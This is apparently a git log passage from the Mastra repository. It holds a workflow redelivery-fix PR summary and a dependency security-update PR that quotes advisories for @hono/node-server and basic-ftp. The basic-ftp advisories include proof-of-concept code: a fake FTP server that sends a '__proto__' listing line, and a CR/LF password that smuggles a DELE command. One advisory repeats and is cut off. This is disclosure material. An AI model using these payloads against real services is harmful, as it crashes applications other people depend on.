`shouldPersistSnapshot` saves running snapshots. A store whose
run-fencing probe rejects gets no check for that delivery: the processor
logs a warning and runs the step as it does today, and the next delivery
asks again.

**Known limits**

- A step whose worker stops before saving its result still runs again on
the next delivery. Make steps with side effects idempotent.
- `pruneSnapshot` must keep each step result's `status`, `startedAt` and
`endedAt`, a loop step's `metadata.iterationCount`, a foreach step's
`suspendPayload.__workflow_meta.foreachOutput`, and `activePaths`.
Without them a step delivered again after it finished can run a second
time. The changeset and the `workflow.mdx` reference say so.
- A workflow whose `shouldPersistSnapshot` returns false for a running
run gets no check: its stored active path lags behind the run, so the
check can't tell a step the run went past from one it still has to
continue from. Dropping there would leave a run stuck after a worker
stopped between a step's save and the next step's message, so such a
delivery runs the step again, as before this PR.
- Nothing serializes two deliveries of one occurrence except the
processor's event-ID step fence, which keeps same-ID deliveries apart
and only on a pubsub with a lease provider (Google Cloud Pub/Sub has
none). Deliveries it doesn't fence that read the same saved result can
both continue the run from it. The extra chain can run the next step a
second time and ends at the first step whose check finds that step
finished and the run past it.
- On a store with step guards (Postgres), loop iterations are left to
the guards. A delivery the guards don't arbitrate (a restart or a time
travel) that arrives after a loop's last iteration was saved runs that
iteration again, as before this PR. The same holds for a foreach item
that a restart queued again while another worker was still finishing it.

**Tests**

`test-utils/finished-occurrence-cases.ts` is one shared suite, run on
the in-memory store (`finished-occurrence.test.ts`) and on Postgres
(`stores/pg/.../evented-finished-occurrence.test.ts`). Replicas are
separate `Mastra` instances sharing one store, and a broker is modelled
by holding or dropping published events and by handing a recorded event
to another replica. Cases: a finished step redelivered while the run
goes on and after it ended (step, parallel, foreach, loop, nested), the
original message arriving after a restart ran the step, a restart that
read the run just before the step saved its result (plain step and a
branch), a worker that stopped after saving a step result (step,
exhausted delivery, loop's last iteration), an exhausted redelivery
while the next step is running or suspended, a step used twice, time
travel, and a step ID reused across a suspension in a workflow that
skips running snapshots.

With the two call sites reverted, 13 of the first 15 cases fail on their
assertions (the step-used-twice and time-travel cases check behavior the
fix must keep). Without the `shouldPersistSnapshot` condition, the last
case fails with the run left `running`. The known-difference blocks for
completed-transition replays in `evented-workflow-sleep-restart`,
`nested-suspend-loop-redelivery` and `parallel-suspend-redelivery` are
removed; those cells now assert the step runs once and fail without the
fix. `redelivery-contract.test.ts` opts its workflow out with
`autoRestartActiveRuns: false`, since the drain test needs a replay that
runs steps again.

Checks run locally: `pnpm build:core`, `pnpm --filter ./packages/core
check`, core vitest on `src/workflows src/mastra src/agent/durable`
(only the two `scheduler.test.ts` retry tests fail; they are time-zone
dependent and fail on a machine not set to UTC), the Postgres suite
against Docker.

Rolling deploys (old and new instances processing one run) are out of
scope.

## Related issue(s)

Part of #28712. Stack: storage projections (#30274, merged) -> this PR
-> recovery pass (#30279) -> recovery loop (#30281).

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [x] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

A workflow step can finish, and then a late copy of its "run this step"
message can arrive. Before this change, the system could run the
finished step again. Now the system checks the saved run state first. It
skips the late message or continues from the saved result.

## Summary

This change stops evented workflow leaf steps from running again when a
delayed or redelivered `workflow.step.run` message arrives after that
step occurrence has finished.

### Behavior

- `WorkflowEventProcessor` checks persisted run state before it runs a
leaf step. The check uses the new `finishedOccurrence` function.
- The check applies only when all of these hold:
  - The storage adapter supports run fencing.
  - The workflow is not a processor workflow.
  - `autoRestartActiveRuns` is not disabled.
  - The workflow persists running snapshots.
- For an eligible delivery, the result is one of three outcomes:
  - **Drop:** the run has moved past the step occurrence.
- **Continue from saved result:** the run still needs to advance past
the occurrence. The processor uses the stored result and does not run
the step.
  - **Run:** the step runs as before.
- If the run-fencing probe rejects, the processor logs a warning and
runs the step as before.
- Time travel and resume executions bypass the check and run the step.
- Exhausted `workflow.step.run` deliveries get the same drop-or-continue
handling before the pending failure is published.
- The check covers repeated step IDs, loops, foreach items, branches,
and nested workflows.
- Canceled and tripwire results run only for restart targets. Success
and failure results continue from the stored result when the run has not
moved past the occurrence.
- Start-guard eligibility checks are centralized in `#guardsStepStart`.
- `routeStepRun` classifies each `workflow.step.run` delivery as a leaf,
a dispatch, or missing.

### Limits

- A worker that stops before it saves a result can still cause a rerun.
- Concurrent deliveries that the event-ID step fence does not separate
can both continue from the same saved result.
- Rolling deploys that run old and new instances on the same run are out
of scope.

### Snapshot pruning

When `pruneSnapshot` is set, the snapshot must keep these fields for the
check to work:

- Step result `status`, `startedAt`, and `endedAt`.
- Loop `metadata.iterationCount`.
- Foreach `suspendPayload.__workflow_meta.foreachOutput`.
- `activePaths`.

### Tests

- Adds `describeFinishedOccurrenceCases({ getStorage, connect? })`. This
shared suite uses separate Mastra replicas on shared storage. It
simulates redelivery, dropped messages, process crashes, and held
step-end events.
- The cases cover sequential, parallel, foreach, loop, and nested
workflows. They also cover exhausted deliveries, saved results, time
travel, and workflows that do not persist running snapshots.
- Adds an in-memory suite and a Postgres suite. Both run the shared
cases.
- Adds a parameterized `routeStepRun` test suite.
- Updates the redelivery tests in `evented-workflow-sleep-restart`,
`nested-suspend-loop-redelivery`, and `parallel-suspend-redelivery`.
Each now expects one fixed result for every redelivery mode. The
mode-dependent extra executions are removed.
- Updates `redelivery-contract`. The timer-drain test disables
`autoRestartActiveRuns`, and the duplicate-execution reason now names
the workflow without the finished-step check.
- The author reports these results. This summary did not verify them:
  - Reverting both check call sites makes 13 of the first 15 cases fail.
- Removing the `shouldPersistSnapshot` condition leaves a run in
`running` in the final case.
- `pnpm build:core`, `pnpm --filter ./packages/core check`, the core
Vitest tests, and the Postgres suite against Docker were run.
- Two `scheduler.test.ts` retry tests failed in the Vitest run. The
author attributes them to time-zone dependence on a non-UTC machine.

### Documentation

- The changeset adds a patch note for evented workflows. It limits the
claims to storage adapters with run-ownership support. It excludes
workflows with `autoRestartActiveRuns: false` and runs whose running
snapshot is rejected by `shouldPersistSnapshot`.
- `docs/.../workflows/overview.mdx`: On the evented engine, a late event
does not rerun a step whose result is saved. Workflows with
`autoRestartActiveRuns: false`, including durable agent workflows, still
rerun the step. The earlier statement that redelivery reruns the step is
removed.
- `docs/.../reference/workflows/workflow.mdx`: Returning `false` from
`shouldPersistSnapshot` for a running run can cause a redelivered
completed step and later steps to run again. The page also lists the
additional `pruneSnapshot` fields above.
- `redelivery-driver.ts` documentation: Describes when a completed-step
redelivery is dropped or resumed, and when it re-executes. The ID-keyed
`STEP_FENCE_TTL_MS` fence drops immediate duplicates but not late ones.

### Scope

- 15 files changed. Lines: +1379 and −69.
- Core logic: `finished-occurrence.ts` (+163),
`workflow-event-processor/index.ts` (+249, −26), and `routing.ts` (+68).
- Shared test suite `finished-occurrence-cases.ts` adds 747 lines.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 13:35:36 -03:00
mastra-platform[bot]
d40ecd5f0d
test(cli): keep flush on mocked analytics client (#30315) 2026-11-13 17:13:55 +01:00
mastra-platform[bot]
b860194516
chore(daytona): switch to the renamed @daytona/sdk package (#28995)
Co-authored-by: wardpeet <ward@coding-tech.com>
2026-11-13 17:13:01 +01:00
Ward Peeters
bf246b6c09
Revert "feat(factory): let one issue or pull request have a card on several boards" (#30322) 2026-11-13 17:11:42 +01:00
Dane - AI (Mastra)
93290db03e
chore(deps): update security updates [security] (#30258)
> [!NOTE]
> This PR body was truncated due to platform limits.

This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@hono/node-server](https://redirect.github.com/honojs/node-server) |
devDependencies | patch | [`2.1.6` →
`2.1.7`](https://renovatebot.com/diffs/npm/@hono%2fnode-server/2.1.6/2.1.7)
|
| [@hono/node-server](https://redirect.github.com/honojs/node-server) |
dependencies | patch | [`2.1.6` →
`2.1.7`](https://renovatebot.com/diffs/npm/@hono%2fnode-server/2.1.6/2.1.7)
|
| [@hono/node-server@>=2.0.0
<2.1.3](https://redirect.github.com/honojs/node-server) |
pnpm-workspace.overrides | patch | [`2.1.3` →
`2.1.6`](https://renovatebot.com/diffs/npm/@hono%2fnode-server/2.1.3/2.1.6)
|
|
[basic-ftp@<6.2.1](https://redirect.github.com/patrickjuchli/basic-ftp)
| pnpm-workspace.overrides | patch | [`6.2.1` →
`6.2.4`](https://renovatebot.com/diffs/npm/basic-ftp/6.2.1/6.2.4) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | devDependencies |
patch | [`4.13.16` →
`4.13.17`](https://renovatebot.com/diffs/npm/hono/4.13.16/4.13.17) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | dependencies |
patch | [`4.13.16` →
`4.13.17`](https://renovatebot.com/diffs/npm/hono/4.13.16/4.13.17) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | dependencies |
patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | devDependencies |
patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | dependencies |
patch | [`^4.13.11` →
`^4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono@<4.13.11](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) |
pnpm-workspace.overrides | patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono@<4.13.13](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) |
pnpm-workspace.overrides | patch | [`4.13.13` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.13/4.13.16) |
| [hono@<4.13.8](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) |
pnpm-workspace.overrides | patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/9505) for more information.

---

### @&#8203;hono/node-server: Backslash in the request path is parsed as
a path separator, bypassing path-based access control at a reverse proxy
[CVE-2026-126210](https://nvd.nist.gov/vuln/detail/CVE-2026-126210) /
[GHSA-jpvv-r467-5p4w](https://redirect.github.com/advisories/GHSA-jpvv-r467-5p4w)

<details>
<summary>More information</summary>

#### Details
##### Summary

`@hono/node-server` passes the raw request-target to the WHATWG URL
parser, which treats a backslash in the path as `/` and then resolves
`..` segments. A request for `/admin\secret` or
`/public\..\admin/secret` reaches the application as `/admin/secret`. A
reverse proxy that follows RFC 3986 forwards the backslash unchanged and
applies its path-based rules to the original path, so the request
reaches a route the proxy is meant to block.

##### Details

A raw backslash is not allowed in a request-target (RFC 3986, RFC 9112
Section 3.2.1), and RFC 9112 Section 3.2 says a recipient should reject
such a request rather than correct it. Proxies such as nginx on Linux,
HAProxy and Envoy keep the backslash as an ordinary character, so they
and the application see different paths.

The fix responds with `400 Bad Request` to a request whose path contains
a raw backslash, for HTTP/1.1, HTTP/2, absolute-form request-targets and
WebSocket upgrades. A percent-encoded backslash and a backslash in the
query string are still accepted.

##### Impact

An unauthenticated client can reach a route that a reverse proxy, load
balancer or WAF in front of the application blocks by path.

This affects applications served by `@hono/node-server` behind a front
component that makes path-based decisions and forwards a backslash
unchanged. Access control inside the Hono application, such as
middleware on `/admin/*`, runs on the rewritten path and is not
affected.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

#### References
-
[https://github.com/honojs/node-server/security/advisories/GHSA-jpvv-r467-5p4w](https://redirect.github.com/honojs/node-server/security/advisories/GHSA-jpvv-r467-5p4w)
-
[3868998a80)
-
[fb97395ec3)
-
[https://github.com/honojs/node-server](https://redirect.github.com/honojs/node-server)
-
[https://github.com/honojs/node-server/releases/tag/v1.19.18](https://redirect.github.com/honojs/node-server/releases/tag/v1.19.18)
-
[https://github.com/honojs/node-server/releases/tag/v2.1.6](https://redirect.github.com/honojs/node-server/releases/tag/v2.1.6)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-jpvv-r467-5p4w) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### @&#8203;hono/node-server: Unhandled `ECONNRESET` on the socket
during an asynchronous WebSocket upgrade crashes the process
[CVE-2026-126343](https://nvd.nist.gov/vuln/detail/CVE-2026-126343) /
[GHSA-qv5m-9pm6-hqp3](https://redirect.github.com/advisories/GHSA-qv5m-9pm6-hqp3)

<details>
<summary>More information</summary>

#### Details
##### Summary

While `@hono/node-server` waits for the Hono application to handle a
WebSocket upgrade request, the socket has no error listener. If the
client resets the TCP connection during that time, the resulting
`ECONNRESET` is emitted as an unhandled `'error'` event and the process
terminates.

##### Details

The upgrade handler awaits the application before attaching any listener
to the socket. When middleware on the upgrade path does asynchronous
work, such as an authentication lookup, a connection reset in that
window has no handler. If a global `uncaughtException` handler swallows
the error, the pending upgrade is never released and its entry is
retained for the lifetime of the process.

The fix attaches error and close listeners to the socket before calling
the application, releases the pending upgrade when the socket closes,
and skips the handshake on a destroyed socket.

##### Impact

An unauthenticated client can terminate the server process with a single
connection by sending a WebSocket upgrade request and resetting the
connection before the application has responded. Where the crash is
suppressed, repeated requests grow the heap.

This affects applications that enable WebSocket support in
`@hono/node-server` and run asynchronous middleware or handlers on the
upgrade path.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/honojs/node-server/security/advisories/GHSA-qv5m-9pm6-hqp3](https://redirect.github.com/honojs/node-server/security/advisories/GHSA-qv5m-9pm6-hqp3)
-
[61cc0267e6)
-
[https://github.com/honojs/node-server](https://redirect.github.com/honojs/node-server)
-
[https://github.com/honojs/node-server/releases/tag/v2.1.6](https://redirect.github.com/honojs/node-server/releases/tag/v2.1.6)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qv5m-9pm6-hqp3) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### basic-ftp: Uncaught TypeError in MLSD directory-listing parser via
__proto__ fact name causes DoS in Client.list()
[CVE-2026-126345](https://nvd.nist.gov/vuln/detail/CVE-2026-126345) /
[GHSA-5pm8-86m8-9m6r](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)

<details>
<summary>More information</summary>

#### Details
##### Summary

basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks
up fact-handler functions in a plain object literal keyed directly by
fact names taken from the FTP server's response, with no validation. A
directory-listing line containing the fact name "__proto__" resolves
this lookup to Object.prototype (inherited, non-own, non-function)
instead of undefined, so the "not a function" guard is bypassed and the
code throws `TypeError: factHandler is not a function`.

This TypeError is not an FTPError, so it is not caught by
Client.list()'s retry logic and propagates as a rejected promise out of
list() and every API built on top of it (list, downloadToDir,
uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client
connects to — or any on-path attacker on a plaintext (non-TLS) FTP
session — can crash the calling application by returning one crafted
line in a directory listing. If the application does not wrap every one
of these calls in try/catch, the rejection is unhandled and crashes the
Node.js process (default behavior since Node 15).

##### Details

File: src/parseListMLSD.ts
```
const factHandlersByName: {[key: string]: FactHandler} = {
    "size": parseSize,
    "sizd": parseSize,
    "unique": (value, info) => { info.uniqueID = value },
    "modify": (value, info) => { ... },
    "type": (value, info) => { ... },
    "unix.mode": (value, info) => { ... },
    ...
}

export function parseLine(line: string): FileInfo | undefined {
    const [ packedFacts, name ] = splitStringOnce(line, " ")
    ...
    const facts = packedFacts.split(";")
    for (const fact of facts) {
        const [ factName, factValue ] = splitStringOnce(fact, "=")
        if (!factValue) { continue }
        const factHandler = factHandlersByName[factName.toLowerCase()]   // <-- unsafe lookup
        if (!factHandler) { continue }
        const result = factHandler(factValue, info)                     // <-- throws here
        ...
    }
    return info
}
```
factHandlersByName is a plain `{}` object literal, so it inherits from
Object.prototype. Property access does not distinguish own keys from
inherited ones. When factName.toLowerCase() === "__proto__", the bracket
lookup factHandlersByName["__proto__"] returns Object.prototype itself —
a truthy, non-undefined value — so the `if (!factHandler) continue`
guard does not fire. The code then tries to call Object.prototype as a
function: `factHandler(factValue, info)`, which throws `TypeError:
factHandler is not a function`.

This line runs inside parseList() (src/parseList.ts), called
synchronously from a `.map()` over every line of the listing, which in
turn is called from Client._requestListWithCommand() -> Client.list()
(src/Client.ts). list()'s only error handling is:
```
    catch (err) {
        const shouldTryNext = err instanceof FTPError
        if (!shouldTryNext) { throw err }
        lastError = err
    }
```
A plain TypeError is not an FTPError, so it is immediately rethrown
instead of being retried or suppressed, and the Promise returned by
list() rejects with it.

Affected call paths (all eventually call Client.list()):
- Client.list()
- Client.downloadToDir() / _downloadFromWorkingDir()
- Client.clearWorkingDir()
- Client.removeDir()

Only "__proto__" triggers the crash this way; other reserved
Object.prototype property names tested ("constructor", "toString",
"hasOwnProperty", "valueOf", "__defineGetter__") happen to resolve to
actual functions on Object.prototype, so they are called without
throwing (silently ineffective, not a crash). This confirms the root
cause is the use of an unguarded object literal as a dictionary keyed by
untrusted server input, rather than something specific to one property.

##### Proof of concept

Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install`
then `npm run buildOnly` (or `npx tsc`) to produce dist/.

Step 1 — Minimal reproduction of the parser bug alone:

    node -e '
    const { parseList } = require("./dist/parseList");
    parseList("__proto__=x;type=file;size=10; evil.txt");
    '

Expected result:
    Uncaught TypeError: factHandler is not a function
        at parseLine (.../dist/parseListMLSD.js:...)

Step 2 — End-to-end reproduction through the public Client API, proving
a real FTP server can trigger this over the wire with no client
modification:

    Save as poc.js in the repo root and run `node poc.js`:

    const net = require("net")
    const { Client } = require("./dist/index")

    const server = net.createServer(socket => {
        socket.write("220 fake ftp ready\r\n")
        socket.on("data", data => {
            const cmd = data.toString().trim()
            if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
            else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
                     cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
                     cmd.startsWith("PROT")) socket.write("200 ok\r\n")
else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST
type;size;\r\n211 End\r\n")
            else if (cmd.startsWith("EPSV")) {
                const dataServer = net.createServer(dsock => {
                    // The malicious line: fact name "__proto__"
dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
                })
                dataServer.listen(0, "127.0.0.1", () => {
                    const p = dataServer.address().port
socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
                })
            }
            else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
                socket.write("150 Here comes the listing\r\n")
setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
            }
            else socket.write("200 ok\r\n")
        })
    })

    server.listen(2121, "127.0.0.1", async () => {
        const client = new Client()
        try {
await client.access({ host: "127.0.0.1", port: 2121, user: "a",
password: "b" })
            const files = await client.list()
            console.log("list() returned normally (unexpected):", files)
        } catch (err) {
console.log("client.list() threw:", err.constructor.name, "-",
err.message)
        } finally {
            client.close()
            server.close()
            process.exit(0)
        }
    })

Expected output:

    client.list() threw: TypeError - factHandler is not a function

Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain
FTP (PASV/EPSV
text) session using the server's FEAT response to turn on MLSD, which is
the common
  path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line
too, since
  parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around
list()/downloadToDir()/
clearWorkingDir()/removeDir(), this rejection is unhandled and
terminates the
Node.js process by default (Node >=15 unhandledRejection behavior is
"throw").

##### Impact

Type: Denial of Service (CWE-248: Uncaught Exception, enabled by
CWE-1321-style unguarded dictionary lookup on an object literal).

Who is impacted: Any application using basic-ftp's Client.list(),
downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths),
clearWorkingDir(), or removeDir() against a server that is malicious,
compromised, or reachable by an on-path attacker on a non-TLS FTP
session. No authentication to the target server is required beyond
whatever credentials the application already uses, and no user
interaction is required — a single crafted directory-listing line is
sufficient.

Confidentiality: None. Integrity: None. Availability: High — unhandled
rejection crashes the Node.js process by default, taking down the whole
application/service, not just the FTP operation.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r)
-
[a22664a45d)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4)
-
[https://github.com/advisories/GHSA-5pm8-86m8-9m6r](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### basic-ftp: Uncaught exception crashes the Node.js process when a
password (or resumed-download path) contains CR/LF
[CVE-2026-126346](https://nvd.nist.gov/vuln/detail/CVE-2026-126346) /
[GHSA-r4jh-29pc-gfqr](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)

<details>
<summary>More information</summary>

#### Details
##### Summary

Client.login() calls FTPContext.send() from inside the control-socket
data event handler. send() throws on CR, LF or NUL, and nothing catches
the throw. A password containing \r\n therefore raises an uncaught
exception and terminates the whole Node.js process. It does not reject
the returned promise. Any application that passes untrusted input as the
FTP password can be crashed remotely with one request. The same pattern
exists in the REST/RETR path of downloadTo() when the remote path
contains control characters.

##### Details

The CRLF guard (FTPContext.send, src/FtpContext.ts ~L233) correctly
refuses to send commands containing \r, \n or \0:
```ts
send(command: string) {
    if (/[\r\n\0]/.test(command)) {
        throw new Error(`Invalid command: Contains control characters. (${command})`);
    }
```

That works when send() is called from handle(), because it runs inside a
Promise executor and the throw becomes a rejection. But in two places
send() runs inside a response handler, which is called synchronously
from the socket’s data event:

Client.login() (src/Client.ts ~L246-248): after the server answers 331
to USER, the handler calls this.ftp.send("PASS " + password). The USER
command was already sent and is valid, so the password is only checked
at this point. The call chain is socket.on("data") →
_onControlSocketData → _passToHandler → responseHandler → send() →
throw. No try/catch exists anywhere in that chain, so it becomes an
uncaughtException.
downloadTo() (src/transfer.ts ~L368-370): when startAt > 0, the initial
command is REST n, which contains no user-controlled text. When the
server answers 350, the handler calls config.ftp.send("RETR " +
config.remotePath). This remotePath was never checked before. A path
with a control character throws in the data handler in the same way.
(Found by code reading, not reproduced.)

Because the exception happens during data event dispatch, it can’t be
handled with try/catch or .catch() around client.access() or
downloadTo(). The application only survives if it has a global
process.on("uncaughtException") handler.

##### Proof of concept

Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source).
It uses a minimal mock FTP server on localhost:

```js
const net = require("net")
const ftp = require("basic-ftp")

const srv = net.createServer(s => {
  s.write("220 hi\r\n")
  s.on("data", d => {
    const c = d.toString()
    if (c.startsWith("USER")) s.write("331 pw\r\n")
    else if (c.startsWith("PASS")) s.write("230 ok\r\n")
    else s.write("200 ok\r\n")
  })
})

srv.listen(0, async () => {
  const c = new ftp.Client(2000)
  try {
    await c.access({
      host: "127.0.0.1",
      port: srv.address().port,
      user: "bob",
      password: "x\r\nDELE important"   // attacker-controlled value
    })
  } catch (e) {
    console.log("rejected:", e.message)  // never reached
  }
  console.log("handled gracefully")      // never reached
  process.exit(0)
})
```
Result: the process terminates with an uncaught exception and neither
catch nor the final console.log runs:
```
Error: Invalid command: Contains control characters. (PASS x
DELE important)
    at FTPContext.send (dist/FtpContext.js:189:19)
    at Object.responseHandler (dist/Client.js:186:26)
    at FTPContext._passToHandler (dist/FtpContext.js:322:24)
    at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
    at Socket.<anonymous> (dist/FtpContext.js:133:44)
```
The server in the PoC is benign. Any normal FTP server that replies 331
to USER triggers the same crash.

##### Impact

Denial of service (uncaught exception, process termination), CWE-248.

It affects applications that pass untrusted or user-influenced values as
the FTP password, or as the remote path of a resumed download. Examples
are web apps or services that let users enter their own FTP credentials,
or file-transfer or backup tools driven by user-supplied paths. One
request crashes the whole Node.js process and every other client it
serves. It needs no authentication to the FTP server and no special
server behaviour. The attacker only needs control over the string.
Confidentiality and integrity are not affected, and the CRLF guard still
blocks command injection.

Suggested fix:

In FTPContext._passToHandler(), wrap the handler call in a try/catch
that rejects the task and calls closeWithError(err).
Validate password in login(), and remotePath in _downloadToStream(),
before any I/O and reject early.

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr)
-
[0495b906bd)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3)
-
[https://github.com/advisories/GHSA-r4jh-29pc-gfqr](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### basic-ftp: Uncaught exception crashes the Node.js process when a
password (or resumed-download path) contains CR/LF
[CVE-2026-126346](https://nvd.nist.gov/vuln/detail/CVE-2026-126346) /
[GHSA-r4jh-29pc-gfqr](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)

<details>
<summary>More information</summary>

#### Details
##### Summary

Client.login() calls FTPContext.send() from inside the control-socket
data event handler. send() throws on CR, LF or NUL, and nothing catches
the throw. A password containing \r\n therefore raises an uncaught
exception and terminates the whole Node.js process. It does not reject
the returned promise. Any application that passes untrusted input as the
FTP password can be crashed remotely with one request. The same pattern
exists in the REST/RETR path of downloadTo() when the remote path
contains control characters.

##### Details

The CRLF guard (FTPContext.send, src/FtpContext.ts ~L233) correctly
refuses to send commands containing \r, \n or \0:
```ts
send(command: string) {
    if (/[\r\n\0]/.test(command)) {
        throw new Error(`Invalid command: Contains control characters. (${command})`);
    }
```

That works when send() is called from handle(), because it runs inside a
Promise executor and the throw becomes a rejection. But in two places
send() runs inside a response handler, which is called synchronously
from the socket’s data event:

Client.login() (src/Client.ts ~L246-248): after the server answers 331
to USER, the handler calls this.ftp.send("PASS " + password). The USER
command was already sent and is valid, so the password is only checked
at this point. The call chain is socket.on("data") →
_onControlSocketData → _passToHandler → responseHandler → send() →
throw. No try/catch exists anywhere in that chain, so it becomes an
uncaughtException.
downloadTo() (src/transfer.ts ~L368-370): when startAt > 0, the initial
command is REST n, which contains no user-controlled text. When the
server answers 350, the handler calls config.ftp.send("RETR " +
config.remotePath). This remotePath was never checked before. A path
with a control character throws in the data handler in the same way.
(Found by code reading, not reproduced.)

Because the exception happens during data event dispatch, it can’t be
handled with try/catch or .catch() around client.access() or
downloadTo(). The application only survives if it has a global
process.on("uncaughtException") handler.

##### Proof of concept

Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source).
It uses a minimal mock FTP server on localhost:

```js
const net = require("net")
const ftp = require("basic-ftp")

const srv = net.createServer(s => {
  s.write("220 hi\r\n")
  s.on("data", d => {
    const c = d.toString()
    if (c.startsWith("USER")) s.write("331 pw\r\n")
    else if (c.startsWith("PASS")) s.write("230 ok\r\n")
    else s.write("200 ok\r\n")
  })
})

srv.listen(0, async () => {
  const c = new ftp.Client(2000)
  try {
    await c.access({
      host: "127.0.0.1",
      port: srv.address().port,
      user: "bob",
      password: "x\r\nDELE important"   // attacker-controlled value
    })
  } catch (e) {
    console.log("rejected:", e.message)  // never reached
  }
  console.log("handled gracefully")      // never reached
  process.exit(0)
})
```
Result: the process terminates with an uncaught exception and neither
catch nor the final console.log runs:
```
Error: Invalid command: Contains control characters. (PASS x
DELE important)
    at FTPContext.send (dist/FtpContext.js:189:19)
    at Object.responseHandler (dist/Client.js:186:26)
    at FTPContext._passToHandler (dist/FtpContext.js:322:24)
    at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
    at Socket.<anonymous> (dist/FtpContext.js:133:44)
```
The server in the PoC is benign. Any normal FTP server that replies 331
to USER triggers the same crash.

##### Impact

Denial of service (uncaught exception, process termination), CWE-248.

It affects applications that pass untrusted or user-influenced values as
the FTP password, or as the remote path of a resumed download. Examples
are web apps or services that let users enter their own FTP credentials,
or file-transfer or backup tools driven by user-supplied paths. One
request crashes the whole Node.js process and every other client it
serves. It needs no authentication to the FTP server and no special
server behaviour. The attacker only needs control over the string.
Confidentiality and integrity are not affected, and the CRLF guard still
blocks command injection.

Suggested fix:

